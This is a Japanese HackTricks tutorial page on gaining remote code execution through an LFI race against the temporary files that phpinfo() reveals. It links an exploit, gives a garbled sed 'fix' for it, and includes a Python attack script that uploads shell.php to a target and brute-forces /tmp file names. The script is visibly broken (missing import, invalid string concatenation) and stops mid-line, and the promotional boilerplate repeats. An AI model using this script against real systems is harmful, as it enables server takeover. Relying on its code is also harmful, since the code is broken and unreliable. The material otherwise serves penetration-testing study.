ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)!
HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい**または**HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを発見する
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**する。
* **ハッキングトリックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github リポジトリに提出してください。
この脆弱性を悪用するには、**LFI脆弱性、phpinfo() が表示されるページ、"file\_uploads = on"、およびサーバーが"/tmp"ディレクトリに書き込める必要があります。**
[https://www.insomniasec.com/downloads/publications/phpinfolfi.py](https://www.insomniasec.com/downloads/publications/phpinfolfi.py)
**Tutorial HTB**: [https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s](https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s)
この脆弱性を修正する必要があります(**=>** を **=>** に変更)。修正するには、以下を実行できます:
```
sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\>/g' phpinfolfi.py
```
### 理論
PHPでアップロードが許可されており、ファイルをアップロードしようとすると、このファイルはサーバーがリクエストの処理を完了するまで一時ディレクトリに保存され、その後一時ファイルは削除されます。
その後、WebサーバーでLFI脆弱性を見つけた場合、作成された一時ファイルの名前を推測して、サーバーがファイルを削除する前に一時ファイルにアクセスしてRCEを悪用することができます。
**Windows**では、ファイルは通常**C:\Windows\temp\php**に保存されます。
**Linux**では、ファイルの名前は通常**ランダム**であり、**/tmp**にあります。名前がランダムであるため、**一時ファイルの名前をどこかから抽出**し、削除される前にアクセスする必要があります。これは、関数**"phpconfig()"**のコンテンツ内の**変数$\_FILES**の値を読み取ることで行うことができます。
**phpinfo()**
**PHP**は**4096B**のバッファを使用し、バッファが**いっぱいになるとクライアントに送信**されます。その後、クライアントは**大きなヘッダーを使用して多くの大きなリクエストを送信**し、**php**リバース**シェルをアップロード**し、**phpinfo()の最初の部分が返されるのを待ちます**(ここに一時ファイルの名前が表示されます)、そしてLFI脆弱性を悪用してファイルが削除される前に**一時ファイルにアクセス**しようとします。
**長さが6の場合に名前をブルートフォースしようとするPythonスクリプト**
```python
import itertools
import requests
import sys
print('[+] Trying to win the race')
f = {'file': open('shell.php', 'rb')}
for _ in range(4096 * 4096):
requests.post('http://target.com/index.php?c=index.php', f)
print('[+] Bruteforcing the inclusion')
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
url = 'http://target.com/index.php?c=/tmp/php' + fname
r = requests.get(url)
if 'load average' in r.text: #
ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)!
HackTricksをサポートする他の方法:
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**する。
* **ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。